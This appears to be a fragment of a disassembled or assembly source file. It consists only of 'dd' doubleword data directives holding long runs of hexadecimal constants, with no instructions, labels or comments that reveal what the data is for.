		dd 0E9435020h, 291B00AEh, 55E3D942h, 80F98C98h,	0BABB3461h
		dd 747FF2A5h, 6884A8AEh, 603BFE8Dh, 760878D3h, 0E9035C30h
		dd 0FB61BC45h, 74BBB0D2h, 3BCE01BEh, 12A1712h, 670CCA6h
		dd 23AA5300h, 4B2EB0FFh, 7621774Ch, 0FDF60043h,	0DA1DF9B5h
		dd 5930D6C1h, 195560D8h, 9C270195h, 4C92995Ch, 83D85088h
		dd 1E8C8182h, 809D69CEh, 27A9F94Ah, 0E600BE7Ah,	1849A575h
		dd 30FD734Eh, 97408274h, 858EA51h, 7E8D1F81h, 7A757CC0h
		dd 71E6592h, 7B279B5h, 10A4D1F2h, 0B8DC56E7h, 0E35BE8C0h
		dd 0C809B4Eh, 2FCC626h,	5F03DD18h, 0E536CF15h, 0CCBDA8C5h
		dd 53CD02D5h, 0A404B4EBh, 2C2784C0h, 30234B18h,	0E0ECE0h
		dd 0CCA7FD3Eh, 1DA09D64h, 13002A7Fh, 4228B248h,	18EEDE8Fh
		dd 88A55D02h, 91278E82h, 1EAFE4Bh, 0D5A913D6h, 0CAC0FFF2h
		dd 0A81245EBh, 3000129Dh, 54CB30B7h, 3B97ABBh, 24B45FE2h
		dd 1FF06634h, 990074DAh, 8317F468h, 3E7A2A18h, 0C281049Eh
		dd 3E5BE2E8h, 0C749F8B8h, 54EB8301h, 0FF9E57EAh, 0B1DE6980h
		dd 285D534Fh, 0F651C900h, 6E9E9007h, 70C61E27h,	9452C0ABh
		dd 9C2AE622h, 8293C500h, 0FF4B29D4h, 3C0400C2h,	0A4F47527h
		dd 9600C332h, 0A23393DAh, 3BAE0C9Fh, 0B580FC05h, 6E535E61h
		dd 63E16D7h, 2206757Ch,	3C121974h, 78E30760h, 0E0035D97h
		dd 0BB5063F4h, 0AA7F2C00h, 8285CE71h, 747DDEh, 8009CFA2h
		dd 30795A67h, 5EC58F01h, 0C02DD83Dh, 3B507CE8h,	338703ABh
		dd 7059A9E0h, 4E1266F9h, 0B78ED00h, 8D1827ADh, 0F5790023h
		dd 0A5E473E6h, 100A6C1h, 0E3B37E53h, 0ED80E145h, 0A41BDBE0h
		dd 8D1F1948h, 0ECAED9B1h, 218056F2h, 0B0F0E570h, 403F00C3h
		dd 2A41CF5Dh, 5A017D36h, 0F7B35D1h, 6EDCAE4Eh, 0A1C03C33h
		dd 0B05DBA00h, 6D1D3844h, 4FC020A3h, 0C5037E30h, 0D48112F6h
		dd 0D7A8A8FBh, 800C00A6h, 0C6E83587h, 0FF2E421Dh, 60CEEECh
		dd 31BA0B9h, 0BDD3F921h, 51032F25h, 9585B673h, 0EE62E04Bh
		dd 8A90C05Bh, 0AC518231h, 0F9F788A0h, 4C7B1618h, 0FB411h
		dd 47F53CEAh, 3B6A1FA7h, 198B8900h, 0D5A4DD85h,	1C56001Bh
		dd 5CB7B2E6h, 0CF0333FAh, 70F72897h, 0FD65E8AAh, 0C0BD0CE0h
		dd 0F5D07F27h, 2919915h, 8B740AF8h, 0C404B001h,	2C8096ADh
		dd 1356264Ah, 7684F9h, 97B6A7C6h, 4C003122h, 0D82AC1E8h
		dd 3FC80CE9h, 84C85917h, 6E5D0072h, 3516A23h, 5200011Eh
		dd 10C47269h, 0E2044Ch,	0F33C68B6h, 29A74D2Ch, 202A5B1Ch
		dd 6BD84607h, 0D48AF09Ch, 7F8448h, 0C4635A21h, 0AC4F62F0h
		dd 0E60058A4h, 4E5BBF2Dh, 7245820h, 753EC46Ah, 4DC47A1Ch
		dd 5BD2C4C0h, 0BEE9DC02h, 0E0B1C846h, 0F3538Ah,	0A295E151h
		dd 56A72C1Ch, 72E03400h, 0C10FADC2h, 26AA006Ah,	177E48B6h
		dd 0FE003E95h, 9DA47547h, 2DF1534h, 0AEE1627Ah,	0C802399h
		dd 11278B6Dh, 0EED17701h, 3C658025h, 5E6CE5E8h,	78B829h
		dd 0F8F364BEh, 5DB477h,	6D58C6BDh, 39B3B074h, 0E10030E2h
		dd 0ADD21C42h, 6BBC028h, 0EDD168C8h, 863D3824h,	3B618034h
		dd 0A815F049h, 0F57389h, 22AA5FCh, 0C1CC1B70h, 0EBE83Dh
		dd 61F99771h, 39682332h, 103AA20Fh, 4729EC00h, 0F8AFBE06h
		dd 1E6620C0h, 0E2796982h, 0BDC93040h, 3CEC1519h, 8D644F12h
		dd 9700D21Ch, 0B40EFB78h, 0C2BFCB8h, 7593AE3Bh,	0B77C9E31h
		dd 4FE8C40Fh, 723E20EDh, 0E2097E46h, 0FA03081h,	7743A638h
		dd 6118F001h, 3A1684Ah,	0A9F8A981h, 0EC7BDD17h,	78C45082h
		dd 0A287CC25h, 4180F980h, 21E4F2h, 0B3207040h, 18D0BD74h
		dd 0CC080728h, 0AE165D18h, 3F54558h, 0A86D13D3h, 909FC736h
		dd 6290DE3Eh, 0C4433914h, 805D3A94h, 21B2F574h,	4C543E65h
		dd 0AD00DC1Bh, 0FDE71703h, 3A0CA606h, 58772DC3h, 0AD9875h
		dd 0EB996D26h, 412F377Fh, 1E7CE200h, 884D8469h,	73D11F09h
		dd 2AA707AFh, 9BEBD01Dh, 0BA05F365h, 0C0120E2Fh, 0BFF2CE00h
		dd 3961248Ah, 318B5BF5h, 0A280A00Ah, 0B0B46E74h, 0EB22581Fh
		dd 32601081h, 66202B1Ah, 0DF3153Fh, 9A1E5864h, 0F114C365h
		dd 99DC5D9h, 0B582CEB4h, 3C27166h, 0FC9008h, 98B15B13h
		dd 2C06561Dh, 0F04C359Ah, 54170030h, 92EF7916h,	6E0058F9h
		dd 0E3C38D41h, 28ED825Ah, 0D862B3h, 158EEA06h, 0F9608F9Bh
		dd 0AAE02400h, 0E64D3714h, 64EC41h, 280E014Ah, 0CBB10BF3h
		dd 0D885C503h, 0D092B9ADh, 7ABBB080h, 2440A6A7h, 50088E7Dh
		dd 0C8A9C523h, 38422D2h, 9119259Eh, 28BE35h, 8368FCDBh
		dd 762E239Ch, 80A3D4A8h, 28EE2500h, 9B69E4F2h, 62913EFFh
		dd 3A81A92h, 0DD1EEBACh, 0F3C6AAC9h, 0A6458DE8h, 0FA073C92h
		dd 0AB01E199h, 4FB5D970h, 0AC4604EBh, 90B1DD74h, 79AE2978h
		dd 0A4174E00h, 735F3B8Ah, 0E2CD0042h, 711BC707h, 800FDA53h
		dd 60C45EDBh, 983186D6h
		dd 45753059h, 17CA36D9h, 0DB7B7201h, 0CF4F9AD4h, 2211808Fh
		dd 15FB4CC0h, 0F14C41CCh, 1A8F0024h, 137469FAh,	9D7D0040h
		dd 4183365h, 0E50EB268h, 67A778D7h, 7C90251Eh, 3E6663h
		dd 0F6BF911h, 4ECC9AE2h, 0D4BC0207h, 0ECB0F3E3h, 0E0637A04h
		dd 806212E7h, 8EE907B1h, 0F0DF4022h, 770271FBh,	0C66E146Ah
		dd 427F4209h, 0F2048024h, 38FDADh, 0FCD3F626h, 0DE611B78h
		dd 0D8908200h, 0E2199930h, 1E2B5855h, 453F067Dh, 88C269EEh
		dd 0C797D00h, 95045ECDh, 0A1360921h, 0D800847Fh, 273FA2C9h
		dd 0FF96E003h, 0B8088670h, 0B8AE5Ah, 0A249DBBCh, 0BE8D6502h
		dd 616CDC01h, 160E9297h, 53ABD5D0h, 0D0138C9Ah,	0CCA023EFh
		dd 2F470C5h, 14ECCAF6h,	441C1DF0h, 339F3E0Dh, 674EB40h
		dd 0E238B5Eh, 0C74C84DDh, 98DB2640h, 0DE0C88F4h, 298ED42Eh
		dd 0FF360170h, 45F935Bh, 0A7520FBh, 1126511Eh, 775E607h
		dd 0BFB448A0h, 3272000Eh, 734E9E42h, 800C047h, 8CE43A3Ch
		dd 751E8EECh, 78C74CE7h, 0B144D700h, 78EE8DF4h,	460A0807h
		dd 0A08FDF11h, 98B0619Eh, 0FD7C003Dh, 571624Ah,	0B602536h
		dd 0ED6E76C0h, 7760E468h, 4B200616h, 0E00ED004h, 9BC3E000h
		dd 39B59238h, 9E1B0167h, 109C5D98h, 0AE37CCD7h,	203F4E30h
		dd 35B628Dh, 9920DBB7h,	0FB8036CBh, 987D6139h, 0A873D507h
		dd 0DC0CF95h, 0CCDF75h,	0D9CB9A5Bh, 1967C47Eh, 4C00C370h
		dd 0F3B1E355h, 562F71h,	432C4A78h, 0FFC4AF4Eh, 0E60099E6h
		dd 66B83187h, 2A22A1FAh, 0B8DD0Fh, 8D1929D7h, 743D4538h
		dd 0A91A302h, 0C0B77B61h, 1E24C0Eh, 0EB1BBEF0h,	0CC2DCC8Fh
		dd 4B3F73D6h, 1CDB070Eh, 93612596h, 0FA80C907h,	0D36F2BF3h
		dd 0B800A47Eh, 6E68FDB2h, 0CE86B58h, 9177FB56h,	98C08D48h
		dd 0F4D0829Ch, 0D25000B3h, 6F0ADE92h, 6D58AD33h, 6BD100C0h
		dd 0FAF6304Dh, 979CA803h, 56740E6Eh, 33A1BF6Ah,	41556048h
		dd 0F0CA22A4h, 240C5EA7h, 0E18C7636h, 51C2428h,	71C3011Ch
		dd 0FAF28BD9h, 74D78CA3h, 228194A0h, 28EB2900h,	57040D54h
		dd 4E7D2A31h, 1F9A04D0h, 80630140h, 0C35ECB3Ch,	51006DEEh
		dd 7BE12E2h, 1D1A3147h,	0DF29C89Bh, 0CD418793h,	802DB1A7h
		dd 9C5BF097h, 8EAFC10Ch, 1E4C902Ch, 9E951625h, 0DBCCC96Eh
		dd 0ECE68800h, 0E50315B2h, 188AF097h, 7BB790E9h, 6E5000FCh
		dd 8E4671F2h, 9D00D5EEh, 0CF56B91Fh, 0F36C94Ch,	91166DDAh
		dd 8276F400h, 0A67589B8h, 0FCB870D8h, 0E3C8000Fh, 0AF170D9Fh
		dd 0DC000171h, 70CA83B1h, 1CE7A0C2h, 5E9832F3h,	0D30D7B80h
		dd 80590C26h, 0DEBC8B50h, 2F63465h, 0C63FB9FCh,	0EC880F21h
		dd 0FF61813Ch, 0EC04B11Dh, 21004B54h, 1E057519h, 3096BAD4h
		dd 56905179h, 7B00C76Ch, 14872C69h, 2AA2B34Bh, 0A4661Fh
		dd 6F5DE401h, 6AC2981Eh, 4793F70h, 77BFEA0Fh, 59FBC09Fh
		dd 5C1F97B9h, 21142B17h, 992844BCh, 0DC1B3AA0h,	897BED89h
		dd 6E12CC22h, 0D88ABC46h, 159D6030h, 40117B01h,	1D6536C7h
		dd 9AE440D2h, 0AAA3002Eh, 19480794h, 31C0C3Bh, 0C98F8B6Ch
		dd 5812B289h, 18806824h, 0A50979h, 9D5FC246h, 2E7A96C0h
		dd 93C81E63h, 7C82D218h, 0B08C29A6h, 88DB1AB8h,	14910BEAh
		dd 0C3E6D80h, 1250AFFBh, 29C650Dh, 0D951EA98h, 0DD5DDA80h
		dd 0C30064D7h, 0E2BC697h, 1C7BE76Ch, 407084B3h,	49F96982h
		dd 8891F63Fh, 37928C02h, 0E42C406Dh, 91F7726Ch,	12149350h
		dd 78CC607Ch, 0EA0095B5h, 0D1B0E907h, 22C26AF5h, 98C205F7h
		dd 0C098EA93h, 688EFCF8h, 0F8704Bh, 8777D125h, 4A003676h
		dd 0D48E58Bh, 15C3572h,	21B1577Eh, 4351DF80h, 10B87DD4h
		dd 270776AFh, 4530C196h, 0ADCEB270h, 15249AF7h,	0ECA7DFECh
		dd 1889B402h, 0C44E2FEAh, 0F35384A8h, 74A04D49h, 0BF98B500h
		dd 1E37CFF4h, 0F69E163Dh, 0A854187Bh, 594C676Dh, 0F5DC0383h
		dd 0B8BEB496h, 168D2A24h, 344AC9Dh, 4FBC55DFh, 27A307F0h
		dd 72022E3h, 4C113431h,	801A2252h, 94C69DF4h, 8BBE0090h
		dd 0F697D238h, 0AE3ED0A3h, 690E0740h, 2C706DFAh, 0FC4BF3B8h
		dd 0C3BE006Eh, 5E0428E0h, 0A101071Dh, 0F232CA19h, 60DEAD12h
		dd 1CCAEF8h, 80C152A0h,	0C40A106Eh, 17E5D3Ch, 14FAC301h
		dd 7F291A9Ch, 0E313F980h, 0B54E58Eh, 1449BE14h,	1F017B9Ch
		dd 0E698E1B7h, 0D85029DBh, 0B14205h, 83A538D6h,	0E63B1F9Ch
		dd 8772B600h, 0A68BBBDh, 5BFE09AAh, 10238C89h, 38091C2Dh
		dd 0ECF2Fh, 0BC83DD04h,	66952C44h, 0C0249EF8h, 414B3B98h
		dd 98DC6B97h, 308D78B4h, 54A4820h, 7B4EA35Eh, 0D6F0417Eh
		dd 7043C2E6h, 0A9300286h, 5D051E16h, 91C3389Eh,	88FECD89h
		dd 0CF9CC481h, 0E43982B7h, 0CB89F999h, 9B79F038h, 24552C68h
		dd 3C788C28h, 12023EE0h, 5BAB2FDh, 0CCC98098h, 0C147F4Fh
		dd 73CF9BD1h, 8D00E851h, 0B8FD2BB9h, 0F8577D85h, 474A0BD5h
		dd 14189B30h, 511219FBh, 0A80053ADh, 0A931032Bh, 5A7076Fh
		dd 0D018DF09h, 0F2A53E22h, 4E06CA05h, 94C813DBh, 5C040076h
		dd 0B5EE1589h, 8100FD44h, 0E7A78CB8h, 1F529Fh, 47A3BBF8h
		dd 7053694Dh, 1DCF4000h, 0D7ABC43Ch, 0C89955FBh, 3C55880h
		dd 7542EEBh, 57FCF80Bh,	98802097h, 0F6D95F8Bh, 9A26244Bh
		dd 5CAF5818h, 83F1433Bh, 910E7CDDh, 68A6B9D9h, 484470h
		dd 0A24DAD1Ah, 8ECE2DDAh, 289A9474h, 2116EE0Ch,	3C78D06Fh
		dd 0B900E36Ch, 26741460h, 280FB11Ah, 2753A334h,	0C90F170h
		dd 0E287DC50h, 0A4C703ACh, 13C11935h, 44518CA8h, 0F989E002h
		dd 430BB185h, 0D998F034h, 88FD125Fh, 54607499h,	0E905C0A8h
		dd 40D72AB9h, 65FAC5E0h, 0F0059ECh, 89821D41h, 90DC5E1Fh
		dd 167FC50h, 0B4663705h, 5451EE64h, 808CC5F8h, 41284294h
		dd 40AFDF24h, 48219C00h, 0E2D54Ah, 0E85D4499h, 96EC89Dh
		dd 0DA8C7705h, 40D1182Ah, 90343950h, 0DEF30154h, 0FEFDD3CCh
		dd 8088C0D5h, 0A98D15Ch, 0C0110EE0h, 0BB533180h, 0FAB64212h
		dd 0E6C9830h, 67152DC4h, 0CE8680E0h, 842E97AAh,	3F7810E3h
		dd 0CB299h, 82FB26A4h, 8702ED96h, 0B39B9500h, 7CB51C5Fh
		dd 0D72C3BF4h, 8485B980h, 0C98F87F9h, 12C62807h, 760EDF1h
		dd 820F68h, 0CC049990h,	6FBE9BBh, 0E03BC81Fh, 9F7B8Bh
		dd 3DA77E67h, 4A130109h, 0F9802B34h, 8723305Bh,	0DF148h
		dd 24FCA3F7h, 63E459h, 0DF1BF408h, 80FDAE61h, 466D2A00h
		dd 0EF3F953Bh, 8E3A1E7Eh, 0A5A6005Dh, 121FFD57h, 0B57AE507h
		dd 0B00E03Ch, 0D6634Eh,	5A5BF8E4h, 4359F98h, 610099DCh
		dd 94460E76h, 20535002h, 3BB21579h, 0B02E5CDDh,	19AD008Ch
		dd 0E93A337Ah, 0EB045F1Ch, 0F74089B0h, 9299006Bh, 8BF986A6h
		dd 3C00389Bh, 46577231h, 5B2523h, 9D8C281Eh, 0F92BB8E6h
		dd 2E502C00h, 26356706h, 0CAE31CA0h, 9837B1Ch, 932C316Bh
		dd 0F37F0A88h, 54179D0Eh, 0AFE5E07Ah, 76DD29h, 29F73BCh
		dd 0C9EB44D1h, 84EF5E00h, 0A701C8FEh, 60C70086h, 0A254BE9h
		dd 3100446Bh, 82D834B4h, 0D7518Fh, 0AD2C55DDh, 46E41AB2h
		dd 0C095B337h, 144C530h, 0ECC00DAh, 34B611A4h, 65B0B8A5h
		dd 224B5305h, 0B407E314h, 8120BC6Eh, 3C01ECBDh,	0B0BA4708h
		dd 938F738Fh, 9A20556Fh, 81DF5958h, 639EDD03h, 0CD82B0F8h
		dd 0B230B841h, 0D080A519h, 9BDFFB28h, 4C2C8001h, 0F3145868h
		dd 0D06F0090h, 0B3919270h
		dd 10CE2ADFh, 0B7780E44h, 0FDA0CD60h, 2BF43DA6h, 1D58EB48h
		dd 62415ABFh, 6B15AF9Fh, 0C4144C22h, 0A900B069h, 989F79Ah
		dd 810AFE5Ah, 84434101h, 6BC04745h, 7D158Dh, 0C57CA140h
		dd 52E0FC36h, 49495C70h, 0E288601Ch, 0CBA89F6h,	71E5E03h
		dd 6B090851h, 9D3045h, 9228437Ch, 8E7DBFh, 7E500F5Ah, 9C4855CEh
		dd 82D9B1C0h, 6AE86Fh, 0C5182242h, 27235DFEh, 78341952h
		dd 18E5113Dh, 6138E9CCh, 285403E0h, 0FFADB477h,	4D5503C8h
		dd 0E3A9CF18h, 94CE10h,	0BE5F648Bh, 8EF5845Ah, 0C80DB224h
		dd 29C5C38Ch, 0BAC70CF2h, 0C058EAF0h, 312BC80Fh, 1B3C17Dh
		dd 0B091F3B1h, 45D500A0h, 85A3167Ch, 0FED80342h, 0CFDEDA7Fh
		dd 0B9C7387Eh, 61B42647h, 0F8225880h, 600AE43Ah, 0F16470E4h
		dd 88C301DEh, 0BC45C604h, 0E2CE10D0h, 0E91D06CDh, 0A1927974h
		dd 0B7245F03h, 0E017B56Ah, 2FD5B4Bh, 0CC401307h, 436006CEh
		dd 8A39A74Eh, 1B380023h, 0E4D4B481h, 839D3A7Eh,	0FDB9A906h
		dd 8024D40Bh, 9C07CC3h,	89FB65h, 4A4BC897h, 0BD40EBC7h
		dd 88207624h, 0D1668780h, 4F09B2Ah, 0FD237370h,	8320907Eh
		dd 0E9001910h, 1A366962h, 1F69599h, 82B8BC40h, 229E7D23h
		dd 8D0A0604h, 0A78932Dh, 5EC63554h, 0FB2BC0C4h,	0BD7E4E31h
		dd 72CFE4Dh, 0CA29A92Fh, 638FEFB0h, 3AE72EAh, 99AA355Ah
		dd 890074DDh, 56192981h, 0E177558h, 38CDB37Eh, 79AA85Fh
		dd 0B47C287h, 0A69D40E0h, 324E807h, 9EE09CA7h, 819A17h
		dd 0C408C13Fh, 55D9DA37h, 42DC3654h, 0E9041500h, 9D740D2h
		dd 7C5F4879h, 7E24B74Ch, 9CFF09A4h, 2E438000h, 8A4CF895h
		dd 4AC861B4h, 0DD606ADBh, 579B249Eh, 823B416Ch,	20DAD1A2h
		dd 85076D24h, 258127EFh, 42E9650h, 235F15C7h, 0A2049C0Fh
		dd 80B81415h, 0CFD74918h, 0EC906AEAh, 0D533A112h, 372D2430h
		dd 7D300DFDh, 18D871D8h, 24925A78h, 0CDD94B00h,	4D7F0E2Fh
		dd 1127AA8h, 8DE0799Bh,	22585E6Eh, 1553BC4h, 9ED11676h
		dd 8C5559A0h, 2F95B020h, 901E0043h, 83ABF963h, 0C9A2160h
		dd 0CF0299ECh, 82B15950h, 0A8C486Ah, 8064AB08h,	24DCD1C2h
		dd 80AC0C8Dh, 3B687420h, 10C3CC9Ch, 0C33E8B07h,	7D7807CFh
		dd 10D2B0E0h, 27356978h, 1C689C24h, 937C2981h, 0E4420439h
		dd 6CC3DCh, 0EEAAF698h,	14FCBAC6h, 18678031h, 68CA8C52h
		dd 375F600h, 0C36AA4DEh, 514CF387h, 948B0078h, 791E541Ah
		dd 0ABDB2648h, 0EC77007Ch, 0CB694D62h, 71FC5648h, 85ECF353h
		dd 0E48454E7h, 0C8589032h, 0A55694h, 0D49D2BDFh, 6514A072h
		dd 4D4F8615h, 3243B84h,	9F425D5Ch, 0C6B7993Bh, 2B803877h
		dd 9905546Ch, 3A00A798h, 8612AF92h, 8D500Dh, 0E1C234C8h
		dd 158AB342h, 808B663Fh, 5BD192Ah, 2EA832h, 0D5C4CB54h
		dd 46D0EED1h, 7A609D0Eh, 806F6B2Ch, 51EF49BAh, 8EC20507h
		dd 80FEE6AFh, 0E5F2C6E0h, 0E09E39CFh, 0A68436A8h, 1CB60001h
		dd 6D918E8h, 60C02F0Dh,	61350E60h, 0B5FB0093h, 494033E1h
		dd 0EF006319h, 8D9CE644h, 3D0F6572h, 1B044A5Ch,	0FBBEDD7Eh
		dd 665B0180h, 9698C2h, 971CDC93h, 0D5F01E8Ah, 1AF56C2Eh
		dd 0BBE0F38h, 0CA00DF37h, 0E121545Ah, 5DDC00DEh, 0A2E82228h
		dd 0F8001459h, 92E9F3A9h, 1C6E54DFh, 77AB44h, 5A6F226Dh
		dd 0D50C1F52h, 0C9024162h, 5080A006h, 4C3C00C6h, 25A3EC48h
		dd 0B800AC7Eh, 0E32AB97h, 26A0372Bh, 583C190h, 0E193A28h
		dd 8A00A648h, 61787608h, 823C823Bh, 0E94B5DBDh,	3982F71Bh
		dd 39603F36h, 2F005938h, 0F9EE5BB0h, 7B0DA935h,	726AF0F6h
		dd 1D6698CDh, 4E3A20D7h, 0D9989026h, 5A18E07Ch,	13112327h
		dd 25AE03F9h, 5B668839h, 0DDE7D018h, 45CE08h, 0D8A82ABFh
		dd 0CB22595Ah, 0B3C7EC00h, 6791F6F9h, 69501EAFh, 0FADFCEE1h
		dd 99F798FFh, 1000341Dh, 1886AD3Ch, 1892CC3Bh, 79A5C4B1h
		dd 25006C09h, 23D80B6Eh, 0BF14F1h, 5476C77Ah, 0A42E0246h
		dd 0C8143892h, 40940ED9h, 0A00BE4Ch, 0D81E1D36h, 1F83E6Ah
		dd 0C787B815h, 0C0939080h, 9200E4B4h, 19147759h, 3EBB9AFAh
		dd 6B01DF0Eh, 8E10303Dh, 0FED2DCACh, 123318A0h,	499DD43Ah
		dd 27790644h, 21704Dh, 664CE4CEh, 50880A6Ah, 12243490h
		dd 9B814837h, 93621A72h, 0AD167F0h, 0BE40C2E3h,	8E58AE4h
		dd 5D5A40D8h, 0A754C6AFh, 6D14FF84h, 0A0286A3Bh, 59EEBAh
		dd 0CD19B05Dh, 6BF0B46Ch, 0ED294400h, 0F2A5FCD6h, 0CF67005Ah
		dd 88EE6E1h, 59C2D499h,	440457A9h, 42160378h, 84F8BCE1h
		dd 404E32D0h, 0FBFB203h, 0B86D0939h, 733C13D2h,	0DBE301B1h
		dd 0C49C0B7Bh, 3ADE404Ch, 1B003901h, 0D19BB727h, 0DD981EB8h
		dd 7D8F40A8h, 6F62A253h, 92D7CA18h, 0A048A481h,	0CFE1D88h
		dd 0E7BD08BCh, 0AEF4F118h, 0DE82F302h, 6039ECBBh, 287F830h
		dd 6A4D2F0Bh, 9CA79628h, 0ECD5C044h, 65004C76h,	1CC887C4h
		dd 0B0CAF448h, 0DEC1005Dh, 0AC085BB1h, 26003DDCh, 36371C49h
		dd 0AB2FA97Dh, 4D7CB0E4h, 5D27018Fh, 28CE06Bh, 857022D2h
		dd 9000F8DBh, 4A560E88h, 6F2B3067h, 0E3014B89h,	538AB512h
		dd 9D68449h, 622416DCh,	0A13059D3h, 0D8AD9084h,	0AB06E714h
		dd 7710CD45h, 0ECA90058h, 4A8C1678h, 7892BD17h,	0E6C0EF01h
		dd 33FE92F2h, 7F0824h, 0CA1A7D56h, 0DD6CF78Ah, 0BD0D5AB0h
		dd 80163509h, 5A0E204Eh, 0B0B4598Eh, 0CC912780h, 77793C38h
		dd 89C076B0h, 4F7471FAh, 4A6D16BDh, 255C003Bh, 85C16EE3h
		dd 0F28D9B00h, 9C098FE4h, 6FFF07CEh, 50939F02h,	74ECD6B1h
		dd 0BF724E00h, 0B64C3ABCh, 3C91A3h, 101F5F09h, 99503Fh
		dd 185B0CAh, 2080E3B3h,	0F2631Ch, 5D8CC52Bh, 0AA906415h
		dd 0F8D5FF0Ch, 3EAE18F3h, 0FB07CF83h, 91D2F1E5h, 205C692Fh
		dd 0CD12CBBCh, 0D84092C0h, 0E198076Bh, 0B2FE3939h, 0BE4D1500h
		dd 1F64E0F2h, 0A0F82E48h, 51FDDBB0h, 0B8CFA0E5h, 52F8604Ah
		dd 6D805C86h, 54DD948Fh, 3734844Ch, 0AFE00E9Bh,	6733B6h
		dd 3AAD2F5h, 8E281B3Bh,	9BAEA212h, 833FA821h, 1FD595E8h
		dd 0C97AF207h, 0E890BB8Bh, 0FB004D66h, 0B9313DA8h, 50D85EA4h
		dd 0F41ED4F3h, 90220019h, 86FEBBAEh, 2C0BC937h,	241CF27Eh
		dd 0C1AB1794h, 0FC42668Dh, 3005983h, 0BFE5639Fh, 0AA4888Bh
		dd 845152E7h, 3EDAC06Ch, 9404DFF6h, 0EC4717ACh,	0FEEE30D0h
		dd 0BD8B0997h, 84804F01h, 56B86873h, 4E9CDE50h,	8AFC4418h
		dd 3A381BE1h, 3A82F833h, 841F80B1h, 0DC4BADE1h,	0A85098FEh
		dd 0A20BD3BCh, 80E3306Eh, 1642A023h, 3F630035h,	3A4B55CFh
		dd 577585Bh, 718B492h, 6791E043h, 0E5E424D0h, 5B771F48h
		dd 7835F834h, 4C40D841h, 26AE92DDh, 2473007Ch, 860C6076h
		dd 93007747h, 68D1A7FDh, 1C9E884Eh, 10DE0B7h, 0E2D81DA4h
		dd 8C48D2A0h, 4E1BCFDCh, 0E481BA75h, 0B300B48Ah, 7AC4A5BEh
		dd 0F3176D55h, 8440EDE1h, 86384766h, 30040150h,	0B5C6FB88h
		dd 0BB398217h, 0A7E77A92h, 0B603C98h, 1668AA87h, 1004A153h
		dd 0F402D04Ch, 0AE6BE082h, 0CF2D4C48h, 96195900h, 0BCB6E17Bh
		dd 3CE03Bh, 0EE87BB8Ch,	0EAB547C2h, 963CD94Ch, 0DEF38841h
		dd 0D98016A3h, 2E1CAC9Bh, 0E309EA64h, 317C0890h, 8930FCA0h
		dd 1BD6009Bh, 0ED4EEB68h, 35FEC4DEh, 0F0A9F900h, 0FFDDF6A8h
		dd 0A83D5077h, 0B12A26FEh, 0ACFB8060h, 0A0F9E0E2h, 20B91660h
		dd 98F26DF7h
		dd 0D7C089D4h, 0B31F824h, 0CCC326D4h, 6C4A5832h, 0E2FB4840h
		dd 75246E16h, 7E4F3406h, 1723E240h, 124C9907h, 0D8C43008h
		dd 880FDAE1h, 92B94B54h, 0A1CF4820h, 0C81C1682h, 8538413Ah
		dd 0BC4E8711h, 5D90021h, 9AFD0C1Eh, 886D5034h, 76E72CCFh
		dd 47FE07ECh, 81E814BCh, 0D4DFCD40h, 0F9004BFAh, 0DEB8E77Ch
		dd 0FA92EB0Bh, 73F458h,	39AB8C62h, 0C7CA2A53h, 4A71101Ch
		dd 22F7701h, 8C50E452h,	7B7DD687h, 0E2D303Dh, 54108A98h
		dd 62FF7201h, 31AB7B34h, 2DD85035h, 2C674847h, 1C306D25h
		dd 903D69F2h, 961602D9h, 4B1B2F43h, 0D6C1A0ECh,	7B3CB80Dh
		dd 0B0D363B0h, 50A0DBB6h, 6100F66Ah, 2C5C7E0Fh,	1E699306h
		dd 0DD12F378h, 0D22685C2h, 0A4EC41C8h, 329D71F5h, 0CC670454h
		dd 0D4A5BFE0h, 0CE1AB840h, 0CC70E77Eh, 660008Eh, 5BED6E94h
		dd 0F60AA991h, 5C4C6768h, 0E62C3825h, 0C922056Ah, 0C59D3BE0h
		dd 436C0520h, 0EDC491B6h, 0C77C2808h, 0EAB190E9h, 60300E13h
		dd 22F42540h, 0CA6418A3h, 8018E587h, 0B6AA4ADCh, 0A100EFF8h
		dd 0F84E6F73h, 3A3FBA9Ch, 4F803212h, 66573D6Bh,	0D0BEC43h
		dd 0B0B6F42Fh, 0CAB54DCh, 64367C17h, 98987691h,	58D58C30h
		dd 74872C7Ah, 48100D9h,	1B77211Fh, 8E71261Ch, 0F0228928h
		dd 40F8B3Bh, 2336194Ch,	80C958C4h, 1DDCB8A4h, 4D314546h
		dd 0EC8435h, 9F581BF4h,	89E0A284h, 98526D02h, 604ADE6Eh
		dd 4DF169F8h, 70062C46h, 595E1567h, 0E8DACC80h,	680B65B0h
		dd 0DDD0C47Ah, 8E712707h, 3D480092h, 0FE05B30Dh, 95E6B00h
		dd 969BB4C2h, 356125Ah,	0B8B018D1h, 28010C86h, 0BB39CB94h
		dd 219259E9h, 29408C5Bh, 82D05564h, 69F029C0h, 0D64B1E74h
		dd 2779C26Eh, 90646865h, 5D125098h, 498F89h, 59A4641Eh
		dd 0A916644Ch, 0F4B001DCh, 0CCCD1E5Dh, 0F0B098CAh, 197FD51Fh
		dd 7E14A9C0h, 1F28C727h, 5B28817h, 0C10D60CBh, 44C9D65Ch
		dd 438800ACh, 3B6C5BD2h, 1002A300h, 0FD7CCC41h,	81393E67h
		dd 4932098Ah, 46A980CCh, 3B596C1Ch, 0C0581848h,	0B041BC6Dh
		dd 62DC00F0h, 63996E3Ch, 8900EDB7h, 6D975366h, 0F1FB4BDFh
		dd 5258820h, 7EF9BBD1h,	8FDE1F32h, 0C73CB7B4h, 70F17FABh
		dd 0A7FCA3C0h, 0A540449Ch, 0B9D5A98Dh, 786AE198h, 404C62DBh
		dd 8409F84Ch, 0A0880377h, 0E3818E2Ch, 10E0BCh, 59408F43h
		dd 98681422h, 21896891h, 72494D3h, 5F94A989h, 42C0DF6Ah
		dd 440395B6h, 3D04D4Ch,	67A6749h, 87691E8Bh, 88C9FC7Eh
		dd 0FA1C8007h, 59EB4086h, 49745654h, 0D80A7F02h, 403A31CBh
		dd 0E64E4470h, 0F91E0E79h, 7C82B6DFh, 2464251Ah, 86F710A0h
		dd 0EF008892h, 38CA6AE8h, 980C723h, 26B1EA09h, 0C75C008Eh
		dd 67C10A48h, 306936E8h, 0DBB96E02h, 41630B0Ch,	0FED99A2Ch
		dd 2BA79FCh, 3685A106h,	0A0C07C44h, 881CCF0Eh, 0E0B4F99Dh
		dd 74D410E2h, 0C6E0DF00h, 0D6973DC7h, 72ECE500h, 73535919h
		dd 0D51C9A4Eh, 9093ECB8h, 460E2E38h, 1688B304h,	0F899CA3Dh
		dd 7D353850h, 0D889589Eh, 2015C844h, 5A151A41h,	75B08357h
